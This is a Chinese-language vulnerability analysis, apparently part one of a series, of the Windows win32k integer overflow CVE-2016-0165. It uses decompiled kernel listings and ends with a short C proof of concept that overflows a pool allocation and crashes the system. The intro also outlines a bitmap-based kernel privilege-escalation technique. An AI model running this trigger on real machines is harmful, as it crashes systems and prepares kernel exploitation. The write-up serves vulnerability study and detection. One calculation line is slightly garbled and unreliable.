作者:Leeqwind
作者博客:https://xiaodaozhi.com/exploit/32.html

本文將對 CVE-2016-0165 (MS16-039) 漏洞進行一次簡單的分析,并嘗試構造其漏洞利用和內核提權驗證代碼,以及實現對應利用樣本的檢測邏輯。分析環境為 Windows 7 x86 SP1 基礎環境的虛擬機,配置 1.5GB 的內存。

本文分為三篇:

從 CVE-2016-0165 說起:分析、利用和檢測(上)

從 CVE-2016-0165 說起:分析、利用和檢測(中)

從 CVE-2016-0165 說起:分析、利用和檢測(下)

0x0 前言

CVE-2016-0165 是一個典型的整數上溢漏洞,由于在 win32k!RGNMEMOBJ::vCreate 函數中分配內核池內存塊前沒有對計算的內存塊大小參數進行溢出校驗,導致函數有分配到遠小于所期望大小的內存塊的可能性。而函數本身并未對分配的內存塊大小進行必要的校驗,在后續通過該內存塊作為緩沖區存儲數據時,將會觸發緩沖區溢出訪問的 OOB 問題,嚴重情況將導致系統 BSOD 的發生。

本分析中利用該特性,通過內核內存布局的設計以及內核對象的構造,使 win32k!RGNMEMOBJ::vCreate 函數分配的固定大小的內存塊被安置在某一內存頁的末尾位置,其下一內存頁由我們之前分配的墊片對象和位圖對象填充。在 win32k!RGNMEMOBJ::vCreate 函數接下來調用 vConstructGET 函數期間,溢出訪問發生在可控的內存區域和范圍,下一內存頁中我們所分配的墊片和位圖對象將被溢出覆蓋,其中的數據被破壞。根據精心布局的內存結構,位圖對象的 sizlBitmap.cy 成員正好被覆蓋成了 0xFFFFFFFF 數值,這將使該位圖對象擁有完整內存空間訪問的能力。

然而由于該位圖對象的 pvScan0 成員值未被覆蓋,所以該對象讀寫內存數據時,只能從自身所關聯的位圖數據區域首地址作為訪問的起始地址。而由于提前精心布局的內存結構,該位圖對象下一內存頁中對應的位置仍舊存儲由我們分配的位圖對象,通過當前位圖對象作為管理對象,以整內存頁讀寫的方式,對其下一內存頁中的位圖對象的 pvScan0 成員的值進行修改,使其指向我們想要讀寫訪問的內存地址,將下一位圖對象作為擴展對象,然后操作擴展對象對指定的內存區域進行讀寫訪問,以指哪、打哪兩步走操作的方式,實現任意內核內存地址讀寫的能力。

利用實現的任意內核內存地址讀寫的能力,通過定位 System 進程的 EPROCESS 對象地址和當前進程的 EPROCESS 對象地址,以 Token 指針替換的方式實現內核提權的目的。

在本分析中,將對該漏洞的邏輯、觸發機理、利用對策等進行由淺入深的探索,并將探究本分析中所涉及到的系統函數在內核中是如何關聯在一起的。為減小文章數據占用空間,因此將大部分 IDA 和 WinDBG 分析調試的代碼數據截圖以代碼清單的方式呈現。

本次分析涉及或間接涉及到的類或結構體可在《圖形設備接口子系統的對象解釋》文檔中找到解釋說明。

0x1 原理

CVE-2016-0165 是 win32k 內核模塊中 GDI 子系統的一個典型的整數向上溢出漏洞。整數向上溢出漏洞通常的特征是:當某個特定的整數變量的數值接近其整數類型的上限、而代碼邏輯致使未進行適當的溢出校驗就對該變量的值繼續增加時,將導致發生整數溢出,使該變量數值的高位丟失,變成遠小于其本應成為的數值;如果該變量將作為緩沖區大小或數組的元素個數,繼而將使依賴該緩沖區大小或數組元素個數變量的后續代碼發生諸如緩沖區溢出、越界訪問等問題。


漏洞位置

漏洞發生在 win32k!RGNMEMOBJ::vCreate 函數中,該函數是 RGNMEMOBJ 內存對象類的成員函數,用于依據路徑 PATH 對象對當前 RGNMEMOBJ 對象所關聯的區域 REGION 對象進行初始化。通過補丁比對,發現以下主要不同的地方:

  if ( 0x28 * (v6 + 1) )
  {
    v12 = ExAllocatePoolWithTag((POOL_TYPE)0x21, 0x28 * (v6 + 1), 'ngrG');
    v7 = a4;
    P = v12;
  }
  else
  {
    P = 0;
  }

清單 1-1 補丁前

  if ( ULongAdd(NumberOfBytes, 1u, &NumberOfBytes) >= 0
    && ULongLongToULong(0x28 * NumberOfBytes, 0x28 * NumberOfBytes >> 32, &NumberOfBytes) >= 0 )
  {
    P = NumberOfBytes ? ExAllocatePoolWithTag((POOL_TYPE)0x21, NumberOfBytes, 'gdeG') : 0;
    if ( P )
    {
      v6 = a4;
      NumberOfBytes = 1;
      ...
    }
    ...
  }

清單 1-2 補丁后

函數中有一處 ExAllocatePoolWithTag 調用,用來分配在構造 REGION 時容納中間數據的臨時緩沖區,并在函數返回之前調用 ExFreePoolWithTag 釋放前面分配的緩沖區內存。

補丁在 RGNMEMOBJ::vCreate 函數中調用 ExAllocatePoolWithTag 分配內存之前,增加了 ULongAddULongLongToULong 兩個函數調用。函數 ULongAdd 用來將參數 1 和參數 2 相加并將值放置于參數 3 指針指向的 ULONG 類型變量中;函數 ULongLongToULong 用于將 ULONGLONG 類型的參數 1 轉換為 ULONG 類型數值并放置在參數 2 指針指向的變量中。這兩個函數在調用時如果發現運算的數值超出 ULONG 整數的范圍,將會返回 ERROR_ARITHMETIC_OVERFLOW (0x80070216) 的錯誤碼,所以通常被調用來防止發生整數溢出的問題。在該漏洞所在函數中,補丁增加這兩個調用則用來防止 ExAllocatePoolWithTag 的參數 SIZE_T NumberOfBytes 發生整數溢出。

除去防止整數溢出的作用外,上面的“補丁后”代碼片段增加的兩個函數調用計算結果等同于:

NumberOfBytes = 0x28 * (NumberOfBytes + 1);

對比補丁前后的代碼片段可知兩者含義基本相同,均是用來指示 ExAllocatePoolWithTag 函數調用分配用以存儲“特定數量”+1 個 0x28 單位大小元素的內存緩沖區。這個“特定數量”的數值來自于參數 a2 指向的 EPATHOBJ+4 字節偏移的域:

  v6 = *((_DWORD *)a2 + 1);
  v38 = v6;
  if ( v6 < 2 )
    return;

清單 1-3 函數 RGNMEMOBJ::vCreate 對 v6 進行賦值

位于 EPATHOBJ+4 字節偏移的域是定義為 ULONG cCurves 的成員變量,用于定義當前 EPATHOBJ 用戶對象的曲線數目。

調用 ExAllocatePoolWithTag 函數分配內存緩沖區后,在隨后的代碼邏輯中,緩沖區地址的指針將被作為第 3 個參數傳入 vConstructGET 函數調用。

  v24 = (struct EDGE *)P;
  *(_DWORD *)(*(_DWORD *)v5 + 0x30) = 0x48;
  *(_DWORD *)(*(_DWORD *)v5 + 0x18) = 0;
  *(_DWORD *)(*(_DWORD *)v5 + 0x14) = 0;
  *(_DWORD *)(*(_DWORD *)v5 + 0x34) = 0;
  *(_DWORD *)(*(_DWORD *)v5 + 0x1C) = *(_DWORD *)v5 + 0x48;
  v25 = *(_DWORD *)v5 + 0x20;
  *(_DWORD *)(v25 + 4) = v25;
  *(_DWORD *)v25 = v25;
  vConstructGET(a2, (struct EDGE *)&v30, v24, a4);

清單 1-4 內存地址的指針作為第 3 個參數傳入 vConstructGET 函數


vConstructGET

函數 vConstructGET 用于根據路徑建立全局邊表,全局邊表以 Y-X 坐標序列構成。調用 vConstructGET 時將前面分配的內存指針是作為 struct EDGE * 類型的指針參數傳入的。由此可見,該內存緩沖區將作為“特定數量”個單位大小為 0x28struct EDGE 類型元素的數組發揮作用。查閱相關資料,在 WinNT4 源碼 (fillpath.c) 中發現 EDGE 數據結構的相關定義:

// Describe a single non-horizontal edge of a path to fill.
typedef struct _EDGE {
    PVOID pNext;            //<[00,04]
    INT iScansLeft;         //<[04,04]
    INT X;                  //<[08,04]
    INT Y;                  //<[0C,04]
    INT iErrorTerm;         //<[10,04]
    INT iErrorAdjustUp;     //<[14,04]
    INT iErrorAdjustDown;   //<[18,04]
    INT iXWhole;            //<[1C,04]
    INT iXDirection;        //<[20,04]
    INT iWindingDirection;  //<[24,04]
} EDGE, *PEDGE;

清單 1-5 結構體 EDGE 的定義

結構體 EDGE 用于描述將要填充的路徑中的單個非水平(不與 Y 軸平行的)邊。在 32 位環境下,該結構體的大小是 0x28 字節。

在函數 vConstructGET 中循環調用 AddEdgeToGET 函數,將路徑中通過兩點描述的邊依次添加到全局邊表中。

  for ( pptfxStart = 0; ppr; ppr = *(struct PATHRECORD **)ppr )
  {
    pptfx = (struct PATHRECORD *)((char *)ppr + 0x10);
    if ( *((_BYTE *)ppr + 8) & 1 )
    {
      pptfxStart = (struct PATHRECORD *)((char *)ppr + 0x10);
      pptfxPrev = (struct PATHRECORD *)((char *)ppr + 0x10);
      pptfx = (struct PATHRECORD *)((char *)ppr + 0x18);
    }
    for ( pptfxEnd = (struct PATHRECORD *)((char *)ppr + 8 * *((_DWORD *)ppr + 3) + 0x10);
          pptfx < pptfxEnd;
          pptfx = (struct _POINTFIX *)((char *)pptfx + 8) )
    {
      pFreeEdges = AddEdgeToGET(pGETHead, pFreeEdges, pptfxPrev, pptfx, pBound);
      pptfxPrev = pptfx;
    }
    if ( *((_BYTE *)ppr + 8) & 2 )
    {
      pFreeEdges = AddEdgeToGET(pGETHead, pFreeEdges, pptfxPrev, pptfxStart, pBound);
      pptfxPrev = 0;
    }
  }

清單 1-6 函數 vConstructGET 代碼片段

其中,函數 vConstructGET 的第 3 個參數 struct EDGE *pFreeEdges 即前面分配的內存緩沖區指針,調用 AddEdgeToGETpFreeEdges 作為參數 a2 傳入。在依次調用的 AddEdgeToGET 函數中,將通過兩點描述的邊添加到全局邊表中,并將相關數據寫入當前 a2 參數指向的 EDGE 結構體元素,最后將下一個 EDGE 元素地址作為返回值返回:

  *(_DWORD *)pFreeEdge = v24;
  *(_DWORD *)v23 = pFreeEdge;
  return (struct EDGE *)((char *)pFreeEdge + 0x28);

清單 1-7 函數 AddEdgeToGET 將 pFreeEdges 數組下一個元素地址作為返回值

如果前面分配內存時分配大小滿足了溢出條件,那么將會分配遠小于所期望長度的內存緩沖區,但存儲于數據結構中的數組元素個數仍是原來期望的數值,在循環調用 AddEdgeToGET 函數逐個操作 pFreeEdges 數組元素時,由于進行了大量的寫入操作,將會造成緩沖區訪問越界覆蓋其他數據,發生不可預料的問題,從而導致系統 BSOD 的觸發。

0x2 追蹤

為了復現漏洞,需要找一條通往 RGNMEMOBJ::vCreate 中漏洞關鍵位置的調用路徑。在 win32k 中有很多函數都會調用 RGNMEMOBJ::vCreate 函數。

圖 2-1 RGNMEMOBJ::vCreate 的引用列表

在前面的章節已知,漏洞觸發關鍵變量 v6 來源于 RGNMEMOBJ::vCreate 函數的 EPATHOBJ *a2 參數。通過在引用列表中逐項比對之后決定選取 NtGdiPathToRegion 函數作為調用接口。


NtGdiPathToRegion

函數 NtGdiPathToRegion 用于根據被選擇在 DC 對象中的路徑 PATH 對象創建區域 REGION 對象,生成的區域將使用設備坐標,唯一的參數 HDC a1 是指向某個設備上下文 DC 對象的句柄。由于區域的轉換需要閉合的圖形,所以在函數中執行轉換之前,函數會將 PATH 中所有未閉合的圖形閉合。在成功執行從路徑到區域的轉換操作之后,系統將釋放目標 DC 對象中的閉合路徑。另外該函數可在用戶態進程中通過 gdi32.dll 中的導出函數在用戶進程中進行直接調用,這給路徑追蹤帶來便利。

  DCOBJ::DCOBJ(&v9, a1);
  ...
  XEPATHOBJ::XEPATHOBJ(&v7, &v9);
  if ( v8 )  // *(PPATH *)((_DWORD *)&v7 + 2)
  {
    v4 = *(_BYTE *)(*(_DWORD *)(v9 + 0x38) + 0x3A);
    v11 = 0;
    RGNMEMOBJ::vCreate((RGNMEMOBJ *)&v10, (struct EPATHOBJ *)&v7, v4, 0);
    if ( v10 )
    {
      v5 = HmgInsertObject(v10, 0, 4);
      if ( !v5 )
        RGNOBJ::vDeleteRGNOBJ((RGNOBJ *)&v10);
    }
    else
    {
      v5 = 0;
    }
    ...
  }

清單 2-1 函數 NtGdiPathToRegion 中調用 RGNMEMOBJ::vCreate 函數

在函數中位于棧上的用戶對象 XEPATHOBJ v7 的地址被作為第 2 個參數傳遞給 RGNMEMOBJ::vCreate 函數調用。XEPATHOBJ v7 在其自身的帶參構造函數 XEPATHOBJ::XEPATHOBJ 中依據用戶對象 DCOBJ v9 進行初始化,而稍早時 DCOBJ v9DCOBJ::DCOBJ 構造函數中依據 NtGdiPathToRegion 函數的唯一參數 HDC a1 句柄進行初始化。


構造函數

構造函數 XEPATHOBJ::XEPATHOBJ 接受 XDCOBJ *a2 作為參數。函數中對成員域 cCurves 也進行了賦值:

  EPATHOBJ::EPATHOBJ(this);
  ...
  v3 = HmgShareLock(*(_DWORD *)(*(_DWORD *)a2 + 0x6C), 7);
  *((_DWORD *)this + 2) = v3;
  if ( v3 )
  {
    *((_DWORD *)this + 1) = *(_DWORD *)(v3 + 0x44); // count
    *((_DWORD *)this + 0) = *(_DWORD *)(v3 + 0x40);
  }

清單 2-2 對成員 cCurves 進行賦值

構造函數中通過調用 HmgShareLock 函數并傳入 HPATH 句柄和 PATH_TYPE (7) 類型對句柄指向的 PATH 對象增加共享計數并返回對象指針,返回的指針被存儲在 this 的第 3 個成員變量中(即父類 EPATHOBJ 中的 PPATH ppath 成員),以使當前 XEPATHOBJ 對象成為目標 PATH 對象的用戶對象。傳入 HmgShareLock 函數調用的參數 1 句柄來源于構造函數的參數 XDCOBJ *a2XDCOBJ 類中第 1 個成員變量 PDC pdc 是指向當前 XDCOBJ 用戶對象所代表的設備上下文 DC 對象的指針。此處獲取 a2 對象的成員變量 pdc 指向 DC 對象中存儲的 HPATH 句柄,作為 HmgShareLock 函數調用的句柄參數。

位于 PATH+0x44 字節偏移的也是一個名為 ULONG cCurves 的域,該域的值賦值給 this 的第 2 個成員變量(即 cCurves 成員變量)。

構造函數 DCOBJ::DCOBJ 的執行就相對簡單的多,其中僅根據句柄參數 HDC a2 獲取該句柄指向的設備上下文 DC 對象指針并存儲在 this 的第 1 個成員變量中(即 PDC pdc 成員),以使當前 DCOBJ 對象成為目標 DC 對象的用戶對象。

據此可推斷,漏洞關鍵位置 ExAllocatePoolWithTag 的內存分配大小參數可以通過參數 HDC a1 句柄作為接口進行控制。


調用路徑

在用戶態進程中,通過 gdi32.dll 中的 HRGN PathToRegion(HDC hdc) 函數可直接調用 NtGdiPathToRegion 系統調用。通過 gdi32!PathToRegion 調用將會實現如下的調用路徑:

圖 2-2 從 PathToRegion 到 ExAllocatePoolWithTag 調用路徑

0x3 觸發

接下來要想辦法使上述調用路徑能夠使漏洞關鍵位置成功達成漏洞觸發條件,即滿足 ExAllocatePoolWithTag 分配緩沖區大小的整數溢出條件,使 ExAllocatePoolWithTag 最終分配遠小于應該分配大小的緩沖區。


PolylineTo

gdi32.dll 模塊中存在 PolylineTo 導出函數,用于向 HDC hdc 句柄指向的 DC 對象中繪制一條或多條直線。該函數最終將直接調用 NtGdiPolyPolyDraw 系統調用:

BOOL __stdcall PolylineTo(HDC hdc, const POINT *apt, DWORD cpt)
{
  int v4; // eax@4
  int v5; // edi@4
  int v6; // edi@9

  if ( ((unsigned int)hdc & 0x7F0000) != 0x10000 )
  {
    if ( ((unsigned int)hdc & 0x7F0000) == 0x660000 )
      return 0;
    v4 = pldcGet(hdc);
    v5 = v4;
    if ( !v4 )
    {
      GdiSetLastError(6);
      return 0;
    }
    if ( *(_DWORD *)(v4 + 8) == 2 && !MF_Poly((int)hdc, (struct _POINTL *)apt, cpt, 6u) )
      return 0;
    if ( *(_BYTE *)(v5 + 4) & 0x20 )
      vSAPCallback(v5);
    v6 = *(_DWORD *)(v5 + 4);
    if ( v6 & 0x10000 )
      return 0;
    if ( v6 & 0x100 )
      StartPage(hdc);
  }
  return NtGdiPolyPolyDraw(hdc, apt, &cpt, 1, 4);
}

清單 3-1 函數 PolylineTo 代碼

函數 NtGdiPolyPolyDraw 用于繪制一個或多個多邊形、折線,也可以繪制由一條或多條直線段、貝塞爾曲線段組成的折線等;其第 4 個參數 ccpt 用于在繪制一系列的多邊形或折線時指定多邊形或折線的個數,如果繪制的是線條(不管是直線還是貝塞爾曲線)該值都需要設置為 1;第 5 個參數 iFunc 用于指定繪制圖形類型,設置為 4 表示繪制直線。

函數 NtGdiPolyPolyDraw 中規定調用時的線條總數目(包括繪制多個多邊形或折線時每個圖形的邊的總數總計)不能大于 0x4E2000 數值,否則將直接返回調用失敗:

  cpt = 0;
  for ( i = 0; i < ccpt; ++i )
    cpt += *((_DWORD *)pulCounts + i);
  if ( cpt > 0x4E2000 )
    goto LABEL_56;

清單 3-2 函數 NtGdiPolyPolyDraw 規定線條總數目限制

根據第 5 個參數的值將進入不同的繪制例程:

  switch ( iFunc )
  {
    case 1:
      ulRet = GrePolyPolygon(hdc, pptTmp, pulCounts, ccpt, cpt);
      break;
    case 2:
      ulRet = GrePolyPolyline(hdc, pptTmp, pulCounts, ccpt, cpt);
      break;
    case 3:
      ulRet = GrePolyBezier(hdc, pptTmp, ulCount);
      break;
    case 4:
      ulRet = GrePolylineTo(hdc, pptTmp, ulCount);
      break;
    case 5:
      ulRet = GrePolyBezierTo(hdc, pptTmp, ulCount);
      break;
    default:
      if ( iFunc != 6 )
      {
        v18 = 0;
        goto LABEL_47;
      }
      ulRet = GreCreatePolyPolygonRgnInternal(pptTmp, pulCounts, ccpt, hdc, cpt);
      break;
  }

清單 3-3 函數 NtGdiPolyPolyDraw 根據第 5 個參數的值調用繪制例程

PolylineTo 函數中調用時由于這兩個參數被分別指定為 14 數值,那么在 NtGdiPolyPolyDraw 中將會進入調用 GrePolylineTo 函數的分支。傳入 GrePolylineTo 函數調用的第 3 個參數 ulCount 是稍早時賦值的本次需要繪制線條的數目,數值來源于從 PolylineTo 函數傳入的 cpt 變量(見清單 3-1 所示)。

關鍵在于 GrePolylineTo 函數中,該函數首先根據 HDC a1 參數初始化 DCOBJ v12 用戶對象,此處與上一章節中的初始化邏輯相同;接下來定義了 PATHSTACKOBJ v13 用戶對象。PATHSTACKOBJEPATHOBJ 用戶對象類的子類,具體定義在開始章節中有相關介紹。函數中調用 PATHSTACKOBJ::PATHSTACKOBJ 構造函數對 v13 對象進行初始化,并在初始化成功后調用成員函數 EPATHOBJ::bPolyLineTo 執行繪制操作。

    EXFORMOBJ::vQuickInit((EXFORMOBJ *)&v11, (struct XDCOBJ *)&v12, 0x204u);
    v8 = 1;
    PATHSTACKOBJ::PATHSTACKOBJ(&v13, (struct XDCOBJ *)&v12, 1);
    if ( !v14 )
    {
      EngSetLastError(8);
LABEL_12:
      PATHSTACKOBJ::~PATHSTACKOBJ((PATHSTACKOBJ *)&v13);
      v6 = 0;
      goto LABEL_9;
    }
    if ( !EPATHOBJ::bPolyLineTo(&v13, (struct EXFORMOBJ *)&v11, a2, a3) )
      goto LABEL_12;
    v9 = (const struct _POINTFIX *)EPATHOBJ::ptfxGetCurrent(&v13, &v10);
    DC::vCurrentPosition(v12, &a2[a3 - 1], v9);

清單 3-4 函數 GrePolylineTo 的代碼片段


構造函數

構造函數 PATHSTACKOBJ::PATHSTACKOBJ 具有 struct XDCOBJ *a2int a3 兩個外部參數。參數 a2 不解釋;參數 a3 用于指示是否將目標 DC 對象的當前位置坐標點使用在 PATH 對象中。此處傳遞的值是 1 表示使用當前位置。

構造函數首先會根據標志位變量 v4 判斷目標 DC 對象是否處于活躍狀態,隨后通過調用 HmgShareLock 函數獲取目標 PATH 對象指針并初始化相關成員變量(與前面章節所示類似地,包括 cCurves 成員)。參數 a3 值為 1 時構造函數會獲取該 DC 對象的當前位置坐標點,用以在后續的畫線操作中將其作為初始坐標點。

  v4 = *(_DWORD *)(*(_DWORD *)a2 + 0x70);
  if ( v4 & 1 )
  {
    ...
    v6 = HmgShareLock(*(_DWORD *)(*(_DWORD *)a2 + 0x6C), 7);
    *((_DWORD *)this + 2) = v6;
    if ( v6 )
    {
      *((_DWORD *)this + 1) = *(_DWORD *)(v6 + 0x44);
      *((_DWORD *)this + 0) = *(_DWORD *)(v6 + 0x40);
      ...
    }
  ...
  }

清單 3-5 構造函數 PATHSTACKOBJ::PATHSTACKOBJ 對成員變量的初始化

不關注構造函數中后續的其他初始化操作,回到 GrePolylineTo 函數中并關注 EPATHOBJ::bPolyLineTo 函數調用。EPATHOBJ::bPolyLineTo 執行具體的從 DC 對象的當前位置點到指定點的畫線操作。如清單 3-4 所示,傳入的第 4 個參數 a3 是由 NtGdiPolyPolyDraw 函數傳入的線條數目 ulCount 變量;此時作為其 a4 參數的值傳入 EPATHOBJ::bPolyLineTo 函數調用。


EPATHOBJ::bPolyLineTo

函數 EPATHOBJ::bPolyLineTo 通過調用 EPATHOBJ::addpoints 執行將目標的點添加到路徑中的具體操作。執行成功后,將參數 a4 的值增加到成員變量 cCurves 中:

  if ( *((_DWORD *)this + 2) )
  {
    v6 = 0;
    v8 = a3;
    v7 = a4;
    result = EPATHOBJ::addpoints(this, a2, (struct _PATHDATAL *)&v6);
    if ( result )
      *((_DWORD *)this + 1) += a4;
  }

清單 3-6 函數 EPATHOBJ::bPolyLineTo 增加成員變量 cCurves 的值

函數 EPATHOBJ::addpoints 主要通過調用函數 EPATHOBJ::growlastrecEPATHOBJ::createrec 實現功能:

  if ( !(*(_BYTE *)(*((_DWORD *)this + 2) + 0x34) & 1) )
    EPATHOBJ::growlastrec(this, a2, a3, 0);
  while ( *((_DWORD *)a3 + 1) > 0u )
  {
    if ( !EPATHOBJ::createrec(v3, a2, a3, 0) )
      return 0;
  }

清單 3-7 函數 EPATHOBJ::addpoints 代碼片段

系統在 PATH 對象中通過一個或多個 PATHRECORD 記錄存儲一組或多組路徑數據;從第 2 個開始的 PATHRECORD 記錄項作為第 1 個記錄項的延續。初始情況下,當前 PATH 對象并未包含任何 PATHRECORD 項,此時在調用 EPATHOBJ::addpoints 函數時會跳過 EPATHOBJ::growlastrec 調用而直接執行到 EPATHOBJ::createrec 函數。

type struct  _POINTFIX {
    ULONG x;
    ULONG y;
} POINTFIX, *PPOINTFIX;

struct _PATHRECORD {
    struct _PATHRECORD *pprnext;
    struct _PATHRECORD *pprprev;
    FLONG    flags;
    ULONG    count;
    POINTFIX aptfx[2]; // at least 2 points
};

清單 3-8 PATHRECORD 結構定義

函數 EPATHOBJ::createrec 創建并初始化新的 PATHRECORD 記錄項,并將其添加到 PATH 對象中。函數中會判斷當前 PATH 對象是否屬于初始狀態,如果屬于初始狀態則將前置初始點數量 cPoints 變量置為 1 并隨后將初始坐標點首先安置在新構造的 PATHRECORD 記錄中作為最開始的坐標點,該初始坐標點稍早時在構造函數中通過目標 DC 對象的當前位置坐標點初始化;由用戶傳入的坐標點序列將緊隨其后被逐項安置在 PATHRECORD 記錄中。在處理并存儲坐標點數據時,各坐標點的 X 軸和 Y 軸數值都被左移 4 位。

  cPoints = *((_DWORD *)ppath + 0xD) & 1;
  ...
  if ( cPoints )
  {
    ppath = *((_DWORD *)this + 2);
    *((_DWORD *)ppr + 4) = *(_DWORD *)(ppath + 0x2C);
    *((_DWORD *)ppr + 5) = *(_DWORD *)(ppath + 0x30);
    --maxadd;
    *((_DWORD *)ppr + 2) = flags | *(_DWORD *)(*((_DWORD *)this + 2) + 0x34) & 5;
    *(_DWORD *)(*((_DWORD *)this + 2) + 0x34) &= 0xFFFFFFFA;
  }
  else
  {
    ppath = *((_DWORD *)this + 2);
    if ( *(_DWORD *)(ppath + 0x18) != 0 )
      *(_DWORD *)(*(_DWORD *)(ppath + 0x18) + 8) &= 0xFFFFFFFD;
  }
  v19 = (struct PATHRECORD *)((char *)ppr + 8 * cPoints + 0x10);

清單 3-9 函數 EPATHOBJ::createrec 將初始點安置在 PATHRECORD 坐標點序列起始位置

在安置初始坐標點的同時,函數會清除目標 PATH 對象的代表初始狀態的標志位;后續再次針對當前 PATH 對象調用到 EPATHOBJ::addpoints 時,將會首先進入 EPATHOBJ::growlastrec 調用,由用戶傳入的坐標點序列將被優先追加到原有的 PATHRECORD 記錄中;當原有的記錄的坐標點緩沖區存滿時,才會進入后續的 EPATHOBJ::createrec 調用,創建新的作為前一個 PATHRECORD 記錄延續的記錄項。


析構函數

EPATHOBJ::~EPATHOBJ 析構函數中會將 EPATHOBJ 對象的 cCurves 成員存儲的更新后的曲線數目回置給關聯的 PATH 對象中的 cCurves 域中:

  ppath = ((_DWORD *)this + 2);
  if ( *((_DWORD *)this + 2) )
  {
    *(_DWORD *)(*(_DWORD *)ppath + 0x44) = *((_DWORD *)this + 1);
    *(_DWORD *)(*(_DWORD *)ppath + 0x40) = *((_DWORD *)this + 0);
    ppath = DEC_SHARE_REF_CNT(*(_DWORD *)ppath);
  }

清單 3-10 析構函數 EPATHOBJ::~EPATHOBJ 回置 cCurves 域的值

另外注意到在 EPATHSTACKOBJ::~EPATHSTACKOBJ 析構函數中也存在類似的回置邏輯,但其需判斷當前 EPATHSTACKOBJ 對象是否屬于 PATHTYPE_STACK 類型,在本分析所涉及的調用中并未涉及到該類型,所以只在父類 EPATHOBJ 的析構函數中回置相關域。


調用路徑

根據上面的分析可知,通過適當調用 gdi32!PolylineTo 即可增加目標 DC 對象關聯的 PATH 對象中 cCurves 域的值,該值直接影響到調用漏洞所在函數 RGNMEMOBJ::vCreate 分配內存緩沖區的大小。所以通過精巧構造的 POC 應可實現漏洞的觸發。從 PolylineToEPATHOBJ::bPolyLineTo 的調用路徑:

圖 3-1 從 PolylineTo 到 EPATHOBJ::bPolyLineTo 調用路徑

0x4 驗證

根據前面章節的分析和追蹤,在本章節嘗試對該漏洞的機理進行驗證。

Windows 系統中,ULONG 類型的整數最大值為 0xFFFFFFFF,超過該范圍將會發生整數向上溢出,溢出發生后僅保留計算結果的低 32 位數據,超過 32 位的數據將丟失。例如:

0xFFFF FFFF + 0x1 = 0x(1) 0000 0000 = 0x0

在本漏洞所在的現場,傳入 ExAllocatePoolWithTag 的參數:

NumberOfBytes = 0x28 * (v6 + 1)

要使 NumberOfBytes 參數滿足 32 位整數溢出的條件,需要滿足:

0x28 * (v6 + 1) > 0xFFFFFFFF

解該不等式得到 v6 > 0x?6666665? 的結果。

RGNMEMOBJ::vCreate 函數的開始位置調用的 EPATHOBJ::vCloseAllFigure 成員函數,用來遍歷 PATHRECORD 列表中的每個條目,并將所有未處于閉合狀態的記錄項設置為閉合狀態。設置閉合狀態表示將末尾的坐標點和起始坐標點相連接,所以需要同時對 cCurves 成員變量加一。

  for ( ppr = *(struct PATHRECORD **)(*((_DWORD *)this + 2) + 0x14); ppr; ppr = *(struct PATHRECORD **)ppr )
  {
    v2 = *((_DWORD *)ppr + 2);
    if ( v2 & 2 )
    {
      if ( !(v2 & 8) )
      {
        *((_DWORD *)ppr + 2) = v2 | 8;
        ++*((_DWORD *)this + 1);
      }
    }
  }

清單 4-1 閉合 PATHRECORD 記錄時對 cCurves 成員變量加一

形成閉合圖形之后,邊的數目應和頂點的數目相等;而根據前面的章節可知,在調用 EPATHOBJ::createrec 函數創建初始 PATHRECORD 記錄時,將源自于設備上下文的起始坐標點作為 PATH 對象的頂點序列的最開始的坐標點,這導致執行到漏洞關鍵位置時,變量 v6 的值比由用戶進程傳入的線條數目大 1。所以在用戶進程中傳遞的畫線數目只需大于 0x6666664 就能夠滿足溢出條件。但根據圖 3-2 所示,傳入的線條總數不能大于 0x4E2000 數值,否則將直接返回失敗。所以在驗證代碼中可以分為多次調用。

漏洞驗證邏輯如下:

圖 4-1 漏洞驗證邏輯

漏洞驗證代碼如下:

#include <Windows.h>
#include <wingdi.h>
#include <iostream>

CONST LONG maxCount = 0x6666665;
CONST LONG maxLimit = 0x4E2000;
static POINT point[maxCount] = { 0 };

int main(int argc, char *argv[])
{
    BOOL ret = FALSE;
    for (LONG i = 0; i < maxCount; i++)
    {
        point[i].x = i + 1;
        point[i].y = i + 2;
    }
    HDC hdc = GetDC(NULL); // get dc of desktop hwnd
    BeginPath(hdc); // activate the path
    for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))
    {
        ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));
    }
    EndPath(hdc); // deactivate the path
    HRGN hRgn = PathToRegion(hdc);
    return 0;
}

清單 4-2 漏洞驗證代碼

在清單 4-2 的代碼中,我將繪制的線條數目設置為 0x6666665,這將導致在 RGNMEMOBJ::vCreate 函數中計算分配緩沖區大小時發生整數溢出,緩沖區分配大小的數值成為 0x18。代碼編譯后在目標系統中執行,由整數溢出引發的 OOB 漏洞導致的系統 BSOD 在稍等片刻之后便會觸發:

圖 4-2 整數溢出引發 OOB 導致系統 BSOD 觸發


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/579/